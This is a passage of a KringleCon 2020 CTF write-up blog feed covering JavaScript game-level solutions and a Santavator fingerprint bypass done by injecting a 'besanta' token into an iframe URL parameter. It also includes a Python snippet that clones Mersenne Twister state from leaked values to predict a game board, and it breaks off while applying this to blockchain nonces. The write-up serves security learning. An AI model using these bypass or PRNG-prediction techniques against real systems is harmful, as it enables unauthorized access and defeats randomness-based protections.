&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nx">dataa&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">var&lt;/span> &lt;span class="nx">j&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">j&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nx">dataa&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">].&lt;/span>&lt;span class="nx">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">j&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">typeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">dataa&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="nx">j&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s1">&amp;#39;number&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">sum&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="nx">dataa&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="nx">j&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="p">}&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="k">return&lt;/span> &lt;span class="nx">sum&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">index&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveDown&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveLeft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveUp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">index&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveRight&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">pull_lever&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">index&lt;/span>&lt;span class="o">++&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveUp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveLeft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">tell_munch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">sum&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveUp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1">// --------Level 8 - Zig-Zag --------- //
&lt;/span>&lt;span class="c1">&lt;/span>&lt;span class="kd">function&lt;/span> &lt;span class="nx">parser&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">input&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">solution&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">var&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nx">input&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nx">item&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">input&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">]&lt;/span>
&lt;span class="nb">Object&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">keys&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">item&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">forEach&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">item&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">key&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;lollipop&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">solution&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">key&lt;/span> &lt;span class="p">});&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="k">return&lt;/span> &lt;span class="nx">solution&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">leverSum&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">counter&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span> &lt;span class="k">of&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">7&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">counter&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveRight&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">counter&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveLeft&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">leverSum&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get_lever&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">counter&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">pull_lever&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">leverSum&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveUp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="nx">counter&lt;/span>&lt;span class="o">++&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">tell_munch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">parser&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nx">elf&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">moveRight&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="../images/obj10/looping-levels.png" alt="LoopingLevels">&lt;/p>
&lt;p>After all the levels are complete &lt;code>Ribb&lt;/code> is ready to share some hints on the santavator:&lt;/p>
&lt;blockquote>
&lt;p>Wow - are you a JavaScript developer? Great work!
Hey, you know, you might use your JavaScript and HTTP manipulation skills to take a crack at bypassing the Santavator&amp;rsquo;s S4.&lt;/p>
&lt;/blockquote>
&lt;p>Wait a second, these are hints for Objective 4!!&lt;/p>
&lt;p>Hmm, never mind it was a fun game after all&amp;hellip; 🤓&lt;/p>
&lt;p>I head back to the Santavator to inspect the Santavator again. My idea at this point is to visit it both as Santa and my non-Santa character to see how it behaves differently.&lt;/p>
&lt;p>Next, I notice that the elevator window is loaded into an &lt;code>iframe&lt;/code> with address &lt;code>elevator.kringlecastle.com&lt;/code>. I proceed to investigate the javascript code that&amp;rsquo;s loaded and find the below section that is quite interesting:&lt;/p>
&lt;p>&lt;img src="../images/obj10/has-token-app.png" alt="Has-Token-App">&lt;/p>
&lt;p>This code makes an AJAX request in the background only if the button is &lt;code>powered&lt;/code> (the S4 stream is functional) and the &lt;code>besanta&lt;/code> token is present. Looking further into it I find the implementation of the &lt;code>hasToken()&lt;/code> check:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="c1">// --- code from conduit.js --- //
&lt;/span>&lt;span class="c1">&lt;/span>&lt;span class="kr">const&lt;/span> &lt;span class="nx">__PARSE_URL_VARS__&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="kd">let&lt;/span> &lt;span class="nx">vars&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{};&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">parts&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">location&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">href&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sr">/[?&amp;amp;]+([^=&amp;amp;]+)=([^&amp;amp;]*)/gi&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">m&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">key&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">value&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="nx">vars&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nx">key&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="p">});&lt;/span>
&lt;span class="k">return&lt;/span> &lt;span class="nx">vars&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="c1">// --- code from app.js --- //
&lt;/span>&lt;span class="c1">&lt;/span>&lt;span class="kr">const&lt;/span> &lt;span class="nx">getParams&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">__PARSE_URL_VARS__&lt;/span>&lt;span class="p">();&lt;/span>
&lt;span class="kd">let&lt;/span> &lt;span class="nx">tokens&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">getParams&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">tokens&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;,&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="kr">const&lt;/span> &lt;span class="nx">hasToken&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">name&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">tokens&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">indexOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">name&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Basically, it parses all the URL parameters and saves them into the &lt;strong>tokens&lt;/strong> variable for later use. Looking further into the &lt;strong>iframe&lt;/strong> I find where the &lt;code>tokens&lt;/code> variable is populated and see that it contains &lt;code>besanta&lt;/code> as I was looking at it in Santa mode:&lt;/p>
&lt;p>&lt;img src="../images/obj10/besanta-tokens.png" alt="SantaTokens-Iframe">&lt;/p>
&lt;p>It seems all I need to do is tweaking the &lt;strong>iframe&lt;/strong> source to inject an extra &lt;code>besanta&lt;/code> string to the &lt;strong>tokens&lt;/strong> parameter while in non-Santa mode(!).&lt;/p>
&lt;p>The plan works, and I successfully impersonate 🎅🏻 and bypass the fingerprint reader to visit Santa&amp;rsquo;s office in disguise. While there I take a nice selfie just for fun:&lt;/p>
&lt;p>&lt;img src="../images/obj10/santa-office-selfie.png" alt="Selfie In Santa&amp;rsquo;s Office">&lt;/p>
&lt;p>On to the next one! 😎&lt;/p>
&lt;p>&lt;strong>PS&lt;/strong>: In this moment, when the above selfie is taken, I finally understand why I chose this funky face for my avatar &amp;hellip; 😛&lt;/p></description></item><item><title>Blockchain Investigation Part 1</title><link>https://flrnks.netlify.app/tutorials/kringlecon2020/objective11a/</link><pubDate>Sun, 27 Dec 2020 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2020/objective11a/</guid><description>&lt;p>&lt;img src="../images/obj11a/objective11a.png" alt="Objective11a">&lt;/p>
&lt;p>At first glance, this seems like a tough one, so I go to talk with &lt;code>Tangle Coalbox&lt;/code> in the &lt;strong>Speaker Unpreparedness Room&lt;/strong> to get some help.&lt;/p>
&lt;p>First though, he needs my help with his SnowBall Game terminat. He says that people were solving it on &lt;strong>IMPOSSIBLE&lt;/strong> level, which should really be impossible:&lt;/p>
&lt;p>&lt;img src="../images/obj11a/tangle-coalbox.png" alt="Tangle Coalbox">&lt;/p>
&lt;blockquote>
&lt;p>Howdy Boss. You look a tad flushed.
Can I get you some water from the vending machine?
I&amp;rsquo;m still looking into the Snowball Game like you asked.
I read the write-up of the test completed earlier this summer with the web socket vulnerabilities.
I was able to complete the Easy level, but the Impossible level is, umm&amp;hellip;
I&amp;rsquo;d call it impossible, but I just saw someone beat it!
Is it possible that the name a player provides influences how the forts are laid out?
Oh, oh, maybe if I feed a Hard name into an Easy game I can manipulate it!
UGH! on Impossible, the best I get are rejected player names in the page comments&amp;hellip; maybe that&amp;rsquo;s useful?
I&amp;rsquo;ll have to re-watch Tom Liston&amp;rsquo;s talk again (
&lt;a href="https://www.youtube.com/watch?v=Jo5Nlbqd-Vg" target="_blank" rel="noopener">LINK&lt;/a>).
Thanks for all the tips and encouragement Santa!&lt;/p>
&lt;/blockquote>
&lt;p>It seems I am tasked with solving
&lt;a href="https://snowball2.kringlecastle.com" target="_blank" rel="noopener">the game&lt;/a> on &lt;strong>IMPOSSIBLE&lt;/strong> difficulty to see how the others have done it. Following Tangle&amp;rsquo;s advice, I watch the KringleCon
&lt;a href="https://www.youtube.com/watch?v=Jo5Nlbqd-Vg" target="_blank" rel="noopener">talk&lt;/a> by Tom Liston on PRNGs that offers essential information. To get started, I click on the machine which pops up the below welcome screen. I make sure to read the instructions very carefully, at least twice:&lt;/p>
&lt;p>&lt;img src="../images/obj11a/snowball-welcome.png" alt="SnowBall Game Welcome">&lt;/p>
&lt;p>Levels &lt;strong>Easy &amp;amp; Medium&lt;/strong> are indeed quite simple to solve without any trickery. It gets interesting once I start playing with the input box for my &lt;strong>Name&lt;/strong>: this value is used as a seed for a random generator that creates the board. The same value always results in the same board setup.&lt;/p>
&lt;p>On &lt;strong>IMPOSSIBLE&lt;/strong> difficulty this value is &lt;strong>redacted&lt;/strong> but I think there is a way I may try to predict it using the script from Tom Liston&amp;rsquo;s talk. To get to the redacted value I need a certain amount of random numbers generated to clone the internal state of the &lt;strong>Mersenne Twister&lt;/strong> that&amp;rsquo;s used as the generator. Quite unexpectedly, there is a dump of discarded random values in the game&amp;rsquo;s page source:&lt;/p>
&lt;p>&lt;img src="../images/obj11a/impossible-source.png" alt="Impossible HTML Commented Source">&lt;/p>
&lt;p>Next I formulate the below plan to solve it on &lt;strong>IMPOSSIBLE&lt;/strong> difficulty:&lt;/p>
&lt;ol>
&lt;li>Start a new game on &lt;strong>IMPOSSIBLE&lt;/strong> difficulty&lt;/li>
&lt;li>Grab discarded random values from the HTML source&lt;/li>
&lt;li>Feed these values to a modified version of
&lt;a href="https://github.com/tliston/mt19937" target="_blank" rel="noopener">Tim&amp;rsquo;s scipt&lt;/a> to predict next value&lt;/li>
&lt;li>Start a new game on &lt;strong>EASY&lt;/strong> mode with the predicted number from step #2&lt;/li>
&lt;li>Verify that both open games have identical setup by comparing your side of the table&lt;/li>
&lt;li>Solve game on Easy mode manually, then replay it on the other game hitting only known cells&lt;/li>
&lt;li>Collect hints from &lt;code>Tangle&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>The code I wrote is based on
&lt;a href="https://github.com/tliston/mt19937" target="_blank" rel="noopener">Tim&amp;rsquo;s python code&lt;/a>, with the &lt;code>main&lt;/code> changed to:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="ln">1&lt;/span>&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="ln">2&lt;/span> &lt;span class="n">my_random&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mt19937&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="ln">3&lt;/span> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;random.txt&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">fp&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="ln">4&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;span class="ln">5&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">fp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">readlines&lt;/span>&lt;span class="p">():&lt;/span>
&lt;span class="hl">&lt;span class="ln">6&lt;/span> &lt;span class="n">my_random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MT&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">untemper&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">line&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;span class="ln">7&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="mi">1&lt;/span>
&lt;span class="ln">8&lt;/span> &lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="s2">&amp;#34;Next int: {my_random.extract_number()}&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>First it creates a new instance of the &lt;strong>Mersenne Twister&lt;/strong>, then loads the discarded random values from a file called &lt;code>random.txt&lt;/code> and uses them to clone the internal state of the generator used to create the game board. Finally, it generates the next random number which is used to start a new game on &lt;strong>EASY&lt;/strong> level so that I can figure out the cells I need to hit on &lt;strong>IMPOSSIBLE&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="../images/obj11a/win-impossible.png" alt="Win Impossible">&lt;/p>
&lt;p>Finally, &lt;code>Tangle&lt;/code> is ready to share his hints:&lt;/p>
&lt;blockquote>
&lt;p>Wow, it really was all about abusing the pseudo-random sequence!
I&amp;rsquo;ve been thinking, do you think someone could try and cheat the Naughty/Nice Blockchain with this same technique?
I remember you told us about how if you have control over to bytes in a file, it&amp;rsquo;s easy to create MD5 hash collisions.
But the nonce would have to be known ahead of time.
We know that the blockchain works by &amp;ldquo;chaining&amp;rdquo; blocks together.
There&amp;rsquo;s no way you know who could change it without messing up the chain, right Santa?
I&amp;rsquo;m going to look closer to spot if any of the blocks have been changed.
If Jack was able to change the block AND the document without changing the hash&amp;hellip; that would require a very UNIque hash COLLision.
Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It&amp;rsquo;s like some sort of evil game to him.
I think I need to review my Human Behavior Naughty/Niceness curriculum again.&lt;/p>
&lt;/blockquote>
&lt;p>I also get some useful links from him:&lt;/p>
&lt;ul>
&lt;li>GitHub repo about
&lt;a href="https://github.com/corkami/collisions" target="_blank" rel="noopener">MD5 Hash Collisions&lt;/a>&lt;/li>
&lt;li>GitHub repo about
&lt;a href="https://github.com/cr-marcstevens/hashclash" target="_blank" rel="noopener">MD5 &amp;amp; SHA-1 cryptanalysis&lt;/a>&lt;/li>
&lt;li>Presentation on
&lt;a href="https://speakerdeck.com/ange/colltris" target="_blank" rel="noopener">Hash Collisions Exploitations&lt;/a>&lt;/li>
&lt;li>KringleCon Talk from Prof. Qwerty Petabyte on
&lt;a href="https://www.youtube.com/watch?v=7rLMl88p-ec" target="_blank" rel="noopener">Working with the Official Naughty/Nice Blockchain&amp;hellip;&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>For some extra hints I stop by in Santa&amp;rsquo;s office to talk with &lt;code>Tinsel Upatree&lt;/code>:&lt;/p>
&lt;blockquote>
&lt;p>Howdy Santa! Just guarding the Naughty/Nice list on your desk.
Santa, I don&amp;rsquo;t know if you&amp;rsquo;ve heard, but something is very, very wrong&amp;hellip;
We tabulated the latest score of the Naughty/Nice Blockchain.
Jack Frost is the nicest being in the world! Jack Frost!?!
As you know, we only really start checking the Naughty/Nice totals as we get closer to the holidays.
Out of nowhere, Jack Frost has this crazy score&amp;hellip; positive 4,294,935,958 nice points!
No one has EVER gotten a score that high! No one knows how it happened.
Most of us recall Jack having a NEGATIVE score only a few days ago&amp;hellip;
Worse still, his huge positive score seems to have happened way back in March.
Our first thought was that he somehow changed the blockchain - but, as you know, that isn&amp;rsquo;t possible.
We ran a validation of the blockchain and it all checks out.
Even the smallest change to any block should make it invalid.
Blockchains are huge, so we cut a one minute chunk from when Jack&amp;rsquo;s big score registered back in March.
You can get a slice of the Naughty/Nice blockchain on your desk.
You can get some tools to help you here.
Tangle Coalbox, in the Speaker UNPreparedness room. has been talking with attendees about the issue.&lt;/p>
&lt;/blockquote>
&lt;p>Next I download the
&lt;a href="https://download.holidayhackchallenge.com/2020/OfficialNaughtyNiceBlockchainEducationPack.zip" target="_blank" rel="noopener">tools&lt;/a> mentioned by &lt;code>Tinsel&lt;/code> as well as the blockchain
&lt;a href="https://download.holidayhackchallenge.com/2020/blockchain.dat" target="_blank" rel="noopener">file&lt;/a> which is necessary for solving the main objective.&lt;/p>
&lt;p>&lt;img src="../images/obj11a/blockchain-zip.png" alt="Blockchain and Files in ZIP">&lt;/p>
&lt;p>The two &lt;code>pem&lt;/code> files are not important so much for Objective11a. The bash script, and the Dockerfile are there just for the easy setup of an environment where the python script runs without dependency issues. With the provided python script I can interact with the &lt;code>blockchain.dat&lt;/code> file and extract all the information needed for solving the objective.&lt;/p>
&lt;p>The instructions tell me that the blockchain stops at index 129996, and my task is to predict the nonce for block &lt;code>130000&lt;/code> and submit its &lt;strong>HEX&lt;/strong> value in the badge. This naturally reminds me of the &lt;strong>SnowBall Game&lt;/strong>, so I figure that the same script may be useful here too. I proceed to extract the &lt;code>nonce&lt;/code> values from all the blocks and notice that there are roughly 1500 blocks altogether, plenty more than 624, so that&amp;rsquo;s good! Meanwhile, I also notice that these &lt;code>nonce&lt;/code> values are much larger than the random values that I dealt with in the &lt;strong>SnowBall Game&lt;/strong>. In fact, that game used &lt;code>32 bit&lt;/code> random integers, while this blockchain uses &lt;code>64 bit&lt;/code> integers as nonces.&lt;/p>
&lt;p>Next I try to modify Tom Liston&amp;rsquo;s script to produce 64 bits random values instead of 32 bits. I eventually succeed in this following an
&lt;a href="http://www.cplusplus.com/reference/random/mt19937_64/" target="_blank" rel="noopener">example&lt;/a>. However, the &lt;code>nonce&lt;/code> it generates is not accepted. Next I get in touch with some fellow KringleCon attendees via Discord to discuss my approach to try see if I am in a rabbit hole or not.&lt;/p>
&lt;p>Eventually I realize that the script does not need to be modified, as the sstem that created the blockchain also used a PRNG that produces 32 bit long random values. Rather, the &lt;code>nonce&lt;/code> value in each block is constructed from two independent random values. Part of the challenge is to figure out how they are combined to turn them into a 64 bit random values.&lt;/p>
&lt;p>Next I tweak the &lt;code>naughty_nice.py&lt;/code> script to take the first 312 &lt;code>nonce&lt;/code> values and feed them into the script from Tom Liston&amp;rsquo;s by splitting each &lt;code>nonce&lt;/code> in half. By trial and error I figure out the correct method that&amp;rsquo;s implemented below:&lt;/p>
